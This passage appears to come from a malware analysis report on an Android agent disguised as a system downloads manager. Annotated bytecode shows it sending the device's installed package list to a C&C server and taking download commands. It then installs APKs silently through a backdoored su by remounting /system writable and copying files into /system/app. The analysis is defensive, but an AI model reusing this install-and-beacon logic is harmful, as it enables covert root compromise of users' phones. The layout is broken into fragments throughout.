// Get the number of packages, and insert it as the PackageCount


const
-
string v4, "PackageCount"


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>getCount()I


move
-
result v5


invoke
-
stati
c {v5}, Ljava/lang/Integer;
-
>valueOf(I)Ljava/lang/Integer;


move
-
result
-
object v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/Integer;)V


move v4, v11


:goto_da

// If packages where found, go
to the the packagename listing
code block


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>getCount()I


move
-
result v5


if
-
lt v4, v5, :cond_21c



// List package names


:cond_21c


invoke
-
interface {v2, v4}, Landroid/database/Cursor;
-
>moveT
oPosition(I)Z

// Get package name


new
-
instance v5, Ljava/lang/StringBuilder;


const
-
string v6, "PackageName"


invoke
-
direct {v5, v6}, Ljava/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


invoke
-
virtual {v5, v4}, Ljava/lang/StringBuilder;
-
>
append(I)Ljava/lang/StringBuilder;


move
-
result
-
object v5


invoke
-
virtual {v5}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v5


const
-
string v6, "packageName"


invoke
-
interface {v2, v10}, Landroid
/database/Cursor;
-
>getColumnIndex(Ljava/lang/String;)I


move
-
result v6


invoke
-
interface {v2, v6}, Landroid/database/Cursor;
-
>getString(I)Ljava/lang/String;


move
-
result
-
object v6


invoke
-
virtual {v3, v5, v6}, Landroid/content/ContentValues;
-
>p
ut(Ljava/lang/String;Ljava/lang/String;)V

// Loop to next package name


add
-
int/lit8 v4, v4, 0x1


goto/16 :goto_da

// Command 1 start


:cond_108


if
-
eqz v2, :cond_10d


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>close()V


:cond_10d


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v1},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>c(Lcom/android/providers/downloadsm
anager/DownloadManageService;
)Lcom/android/providers/downloadsmanager/b;


move
-
result
-
object v1

// Get NextConnectTime


invoke
-
virtual {v1},
Lcom/android/providers/downloadsmanager/b;
-
>a()Ljava/lang/String;


move
-
result
-
object v1

// Compare curren
t YYYYMMDD to v1


invoke
-
virtual {v0, v1}, Ljava/lang/String;
-
>compareTo(Ljava/lang/String;)I


move
-
result v0

// See if we should sync with C&C server


if
-
ltz v0, :cond_23f



// Same style of code above, no need to repaste, collects same
data
without packages




invoke
-
direct {v1, v2},
Lcom/android/providers/downloadsmanager/a/e;
-
><init>(Landroid/content/Context;)V

// Submit a Command "1" with request of v0


invoke
-
virtual {v1, v12, v0},
Lcom/android/providers/downloadsmanager/a/e;
-
>
a(ILandroid/content/ContentValues;)I

// Goto the C&C connector


goto/16 :goto_1c


After
the command

is

initialized, it
transmits the data to its C&C, formatting the gathered

ContentValues
as XML and encrypting them
. The encrypted string is
transmitted

to the same
C&C as the previous payload

using the same

XOR scheme
and key used in the infector payload
.

Code for this transaction follows:



:cond_e0

// Initialize the HTTP processor (includes crypto)


new
-
instance v4, Lcom/android/providers/
downloadsmanager/a/e;


iget
-
object v5, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v5},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>a(Lcom/androi
d/providers/downloadsmanager/DownloadManageService;
)Landroid/content/Context;


move
-
result
-
object v5


invoke
-
direct {v4, v5},
Lcom/android/providers/downloadsmanager/a/e;
-
><init>(Landroid/content/Context;)V


const/4 v5, 0x2

// Submit whatever
command with request v3


invoke
-
virtual {v4, v5, v3},
Lcom/android/providers/downloadsmanager/a/e;
-
>a(ILandroid/content/ContentValues;)I


move
-
result v4


if
-
ne v4, v12, :cond_108


invoke
-
virtual {v3}, Landroid/content/ContentValues;
-
>clear()V

// Save current time in mills as sync time


const
-
string v4, "synctime"


invoke
-
static {}, Ljava/lang/System;
-
>currentTimeMillis()J


move
-
result
-
wide v5


invoke
-
static {v5, v6}, Ljava/lang/Long;
-
>valueOf(J)Ljava/lang/Long;


move
-
result
-
objec
t v5


invoke
-
virtual {v3, v4, v5}, Landroid/content/ContentValues;
-
>put(Ljava/lang/String;Ljava/lang/Long;)V


invoke
-
virtual {v1, v3},
Lcom/android/providers/downloadsmanager/e;
-
>c(Landroid/content/ContentValues;)V

// Remove apps that are not synced,

since we just synced them


invoke
-
virtual {v1},
Lcom/android/providers/downloadsmanager/e;
-
>c()V

// Close the cursor if needed


:cond_108


if
-
eqz v2, :cond_10d


invoke
-
interface {v2}, Landroid/database/Cursor;
-
>close()V


:cond_10d



// The
code checks if the we should sync, which we obviously
should now, so this check will fail




if
-
ltz v0, :cond_23f




:cond_23f

// Check if we should continue due to a close sync time, or stop
the service


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
static {v0},
Lcom/android/providers/downloadsmanager/DownloadManageService;
-
>d(Lcom/android/providers/downloadsmanager/DownloadManageSer
vice;
)Z


move
-
result v0

// Check if we should stop the service


if
-
eqz v0, :cond_1c


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/d;
-
>a:Lcom/android/providers/downloadsmanager/DownloadManageService;


invoke
-
virtual {v0},
Lcom/and
roid/providers/downloadsmanager/DownloadManageService;
-
>stopSelf()V

// exit out


goto/16 :goto_1c





Commands from
C
&C

We find the communication service and command engine in

com.android.providers.downloadsmanager.a.e
.

Inside the
a(Int command, ContentValues
content)

function, the request is turned into XML, encrypted, sent to the server and
its
response
is parsed. The response
may

contain a
NextConnectTime
, which is then saved to the shared
preferences.

The response can also contain a
DownloadUrl

and
PackageName
.


It appears that there is incomplete functionality here to monitor ratings, comments, asset IDs,
and insta
ll states. We speculate that the author(s) intended to monitor Market activity and
potentially rate/comment on downloaded applications.


// Command ex
ecution engine

# virtual methods

.method public final declared
-
synchronized
a(ILandroid/content/ContentValues;)I


.registers 10


const/4 v4, 0x0


const/16 v6, 0x8


const/4 v5, 0x1

// Monitoring "this"


monitor
-
enter p0


const/4 v0, 0x0


:try_start_6

// Destroy the handler


iput
-
object v0, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>f:Landroid/os/Handler;

// Get the context


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>d:Landroid/content/Context;

// Lef
t over debug statement to do Log.d("getObj", "command: 1");
(or command: 2)


const
-
string v1, "getObj"


new
-
instance v2, Ljava/lang/StringBuilder;


const
-
string v3, "command: "


invoke
-
direct {v2, v3}, Ljava/lang/StringBuilder;
-
><init>(Ljava/la
ng/String;)V


invoke
-
virtual {v2, p1}, Ljava/lang/StringBuilder;
-
>append(I)Ljava/lang/StringBuilder;


move
-
result
-
object v2


invoke
-
virtual {v2}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v2


invoke
-
static {
v1, v2}, Landroid/util/Log;
-
>d(Ljava/lang/String;Ljava/lang/String;)I


:try_end_1e


.catchall {:try_start_6 .. :try_end_1e} :catchall_88

// Switch on the "Command" number


packed
-
switch p1, :pswitch_data_c8


move
-
object v0, v4


:goto_22

//
Check if command was properly built


if
-
nez v0, :cond_35


move v0, v6


:goto_25


monitor
-
exit p0

// Exit


return v0


:pswitch_27


:try_start_27

// Create a Command type "1"


new
-
instance v1, Lcom/android/providers/downloadsmanager/a
/h;


invoke
-
direct {v1, v0, p2},
Lcom/android/providers/downloadsmanager/a/h;
-
><init>(Landroid/content/Context;Landroid/content/ContentValues;)
V


move
-
object v0, v1

// Go verify that the command was successfully made


goto :goto_22


:pswitch_2e

// Create a Command type "2"


new
-
instance v1, Lcom/android/providers/downloadsmanager/a/f;


invoke
-
direct {v1, v0, p2},
Lcom/android/providers/downloadsmanager/a/f;
-
><init>(Landroid/content/Context;Landroid/content/ContentValues;)
V


move
-
object
v0, v1

// Go verify that the command was successfully made


goto :goto_22


:cond_35

// Add command to ArrayList


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>b:Ljava/util/ArrayList;


invoke
-
virtual {v1, v0}, Ljava/util/Arra
yList;
-
>add(Ljava/lang/Object;)Z


:cond_3a

// Check size of ArrayList


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>b:Ljava/util/ArrayList;


invoke
-
virtual {v0}, Ljava/util/ArrayList;
-
>size()I


move
-
result v0

// Check if
all commands are done (removed)


if
-
gtz v0, :cond_44


move v0, v5


goto :goto_25


:cond_44

// Get a command off of the ArrayList


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>b:Ljava/util/ArrayList;


const/4 v1, 0x0


invoke
-
virtual {v0, v1}, Ljava/util/ArrayList;
-
>remove(I)Ljava/lang/Object;


move
-
result
-
object v0

// Holds the removed Command


check
-
cast v0, Lcom/android/providers/downloadsmanager/a/i;


iput
-
object v0, p0,
Lcom/android/providers/downloadsm
anager/a/e;
-
>g:Lcom/android/providers/downloadsmanager/a/i;

// Get the crypted URL


sget
-
object v0, Lcom/android/providers/downloadsmanager/a/e;
-
>a:[B


invoke
-
virtual {v0}, [B
-
>clone()Ljava/lang/Object;


move
-
result
-
object v0


check
-
cast v0, [B

// Decrypt URL


invoke
-
static {v0},
Lcom/android/providers/downloadsmanager/a;
-
>a([B)V


iget
-
object v1, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>c:Lcom/android/providers/downloadsmanager/a/a;


new
-
instance v2, Lcom/android/providers/down
loadsmanager/a/d;

// Get the command we previously stored


iget
-
object v3, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>g:Lcom/android/providers/downloadsmanager/a/i;

// Get the type of "Command" (1 or 2)


invoke
-
virtual {v3},
Lcom
/android/providers/downloadsmanager/a/i;
-
>a()I


move
-
result v3


iget
-
object v4, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>g:Lcom/android/providers/downloadsmanager/a/i;


iget
-
object v4, v4,
Lcom/android/providers/downloadsmanager/a/i;
-
>a:L
android/content/ContentValues;

// Insert the data into a XML parsing object


invoke
-
direct {v2, v3, v4},
Lcom/android/providers/downloadsmanager/a/d;
-
><init>(ILandroid/content/ContentValues;)V

// Generate request and save from XML to string


invoke
-
v
irtual {v2},
Lcom/android/providers/downloadsmanager/a/d;
-
>a()[B


move
-
result
-
object v2

// Make a string from the URL bytes


new
-
instance v3, Ljava/lang/String;


invoke
-
direct {v3, v0}, Ljava/lang/String;
-
><init>([B)V

// Post request to URL


in
voke
-
virtual {v1, v2, v3},
Lcom/android/providers/downloadsmanager/a/a;
-
>a([BLjava/lang/String;)I


iget
-
object v0, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>c:Lcom/android/providers/downloadsmanager/a/a;

// Get response buffer


invoke
-
virtual

{v0},
Lcom/android/providers/downloadsmanager/a/a;
-
>a()[B


move
-
result
-
object v0

// Make sure response is not null


if
-
nez v0, :cond_8b

// If it is empty, exit


move v0, v6


:goto_80


if
-
eq v0, v5, :cond_3a

// Get "Commands" arraylist


i
get
-
object v1, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>b:Ljava/util/ArrayList;

// Clear commands and exit


invoke
-
virtual {v1}, Ljava/util/ArrayList;
-
>clear()V


:try_end_87


.catchall {:try_start_27 .. :try_end_87} :catchall_88


goto

:goto_25


:catchall_88


move
-
exception v0


monitor
-
exit p0


throw v0

// Process the response


:cond_8b


:try_start_8b

// Build a string from the response


new
-
instance v1, Ljava/lang/String;


invoke
-
static {v0},
Lcom/android/provid
ers/downloadsmanager/a;
-
>a([B)V


invoke
-
direct {v1, v0}, Ljava/lang/String;
-
><init>([B)V

// Load string response into


new
-
instance v0, Lcom/android/providers/downloadsmanager/a/c;


invoke
-
direct {v0},
Lcom/android/providers/downloadsmanager/a/c;
-
><init>()V

// Validate data in response is good


invoke
-
virtual {v0, v1},
Lcom/android/providers/downloadsmanager/a/c;
-
>a(Ljava/lang/String;)Z


move
-
result v1

// If response is good, then use it at cond_a1


if
-
nez v1, :cond_a1

// Else goto_80



const/16 v0, 0x10


goto :goto_80


:cond_a1

// Get DownloadInfo vector (contains DownloadUrl and PackageName)


invoke
-
virtual {v0},
Lcom/android/providers/downloadsmanager/a/c;
-
>a()Ljava/util/Vector;


move
-
result
-
object v1

// Save DownloadInfo

into internal sqlite3 "apps" table


invoke
-
direct {p0, v1},
Lcom/android/providers/downloadsmanager/a/e;
-
>a(Ljava/util/Vector;)V

// Get "NextConnectTime"


invoke
-
virtual {v0},
Lcom/android/providers/downloadsmanager/a/c;
-
>b()Ljava/lang/String;


m
ove
-
result
-
object v0

// Verify next connect isn't empty


invoke
-
static {v0}, Landroid/text/TextUtils;
-
>isEmpty(Ljava/lang/CharSequence;)Z


move
-
result v1


if
-
nez v1, :cond_bc

// Create a new shared preference object and initialize it with
the
current context


new
-
instance v1, Lcom/android/providers/downloadsmanager/b;


iget
-
object v2, p0,
Lcom/android/providers/downloadsmanager/a/e;
-
>d:Landroid/content/Context;


invoke
-
direct {v1, v2},
Lcom/android/providers/downloadsmanager/b;
-
><init>
(Landroid/content/Context;)V

// Save the NextConnectTime value to the shared preferences


invoke
-
virtual {v1, v0},
Lcom/android/providers/downloadsmanager/b;
-
>a(Ljava/lang/String;)V


:cond_bc


iget
-
object v0, p0,
Lcom/android/providers/downloadsma
nager/a/e;
-
>g:Lcom/android/providers/downloadsmanager/a/i;

// Get the Content values and remove the "Command" we just
executed


iget
-
object v0, v0,
Lcom/android/providers/downloadsmanager/a/i;
-
>a:Landroid/content/ContentValues;


const
-
string v1, "Com
mand"


invoke
-
virtual {v0, v1}, Landroid/content/ContentValues;
-
>remove(Ljava/lang/String;)V


:try_end_c5


.catchall {:try_start_8b .. :try_end_c5} :catchall_88


move v0, v5


goto :goto_80


nop


:pswitch_data_c8


.packed
-
switch 0x1


:pswitch_27


:pswitch_2e


.end packed
-
switch

.end method


We previously mentioned receipt of

DOWNLOAD_COMPLETE
Intents as an entry point.


We
have already outlined that the
Intent
is caught and passed onto the handler. That handler
verif
ies

that the application was
pending for

download,
and (
if not
)

ignores supplied
data. When
a
n expected

download has completed, it
attempts

to install the software and change the status
of the a
pplication in the SQL database.


The install method is similar

to the one used in payload one

--

a silent install to the
/system/app

directory


with the addition that it removes the downloaded APK from its temporary download
location
. The silent install is performed by remounting the
/system

directory writable, then

cat’ing the package into the
/system/app

directory.
From there, it’s picked

up by the package
manager and installed automatically

without prompting the user or notifying them of a new
application.
Once downloaded and copied, the downloaded file is removed
. The interesting code
from the handler, found in
com.android.providers.downloadsmanager.a.e

is highlighted below
:


// If download is finished


if
-
nez v2, :cond_ec

// Build the location to copy it to "/system/app/" + packageName


new
-
instance v2,
Ljava/lang/StringBuilder;


const
-
string v5, "/system/app/"


invoke
-
direct {v2, v5}, Ljava/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


const/16 v5, 0x2f


invoke
-
virtual {v4, v5}, Ljava/lang/String;
-
>lastIndexOf(I)I


move
-
result v5


a
dd
-
int/lit8 v5, v5, 0x1


invoke
-
virtual {v4, v5}, Ljava/lang/String;
-
>substring(I)Ljava/lang/String;


move
-
result
-
object v5


invoke
-
virtual {v2, v5}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v2


invoke
-
virtual {v2}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v2

// Call the backdoor'ed su and remount the system as writeable


const
-
string v5, "profile"


const
-
string v5, "mount
-
o remount rw system
\
nexit
\
n"


invoke
-
static {v10, v5},
Lcom/android/providers/downloadsmanager/a;
-
>a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

// Call the backdoor'ed su to cat the package (copy) into
/system/app


const
-
string v5, "prof
ile"


new
-
instance v5, Ljava/lang/StringBuilder;


const
-
string v6, "cat "


invoke
-
direct {v5, v6}, Ljava/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


invoke
-
virtual {v5, v4}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/
StringBuilder;


move
-
result
-
object v5

// Pipe command


const
-
string v6, " > "


invoke
-
virtual {v5, v6}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v5


invoke
-
virtual {v5, v2}, Ljava/lan
g/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v2

// Exit the shell


const
-
string v5, "
\
nexit
\
n"


invoke
-
virtual {v2, v11}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;



move
-
result
-
object v2


invoke
-
virtual {v2}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v2

// Execute the shell commands made before


invoke
-
static {v10, v2},
Lcom/android/providers/downloadsmanager/a;
-
>
a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;


:cond_ec

// Call the backdoor'ed su to remove the package


const
-
string v2, "profile"


new
-
instance v2, Ljava/lang/StringBuilder;


const
-
string v5, "rm "


invoke
-
direct {v2, v5}, Lja
va/lang/StringBuilder;
-
><init>(Ljava/lang/String;)V


invoke
-
virtual {v2, v4}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v2

// exit the shell


const
-
string v4, "
\
nexit
\
n"


invoke
-
virtual {
v2, v11}, Ljava/lang/StringBuilder;
-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;


move
-
result
-
object v2


invoke
-
virtual {v2}, Ljava/lang/StringBuilder;
-
>toString()Ljava/lang/String;


move
-
result
-
object v2

// Execute the shell commands it j
ust made


invoke
-
static {v10, v2},
Lcom/android/providers/downloadsmanager/a;
-
>a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;


Conclusion

After analyzing the entire package,
it’s clear that the second stage is capable of downloading
and installing anyt
hing that the author(s) choose to serve it
. The
initial payload escalates
privileges and installs this agent. The agent periodically checks in with its C&C and updates
installed components as instructed.


Though we
have not observed third stage payloads,
possibilities are effectively limitless
.
Coupled with the setuid back door, we have a powerful
zombie agent that can install any payload silently and execute code with root privileges at will.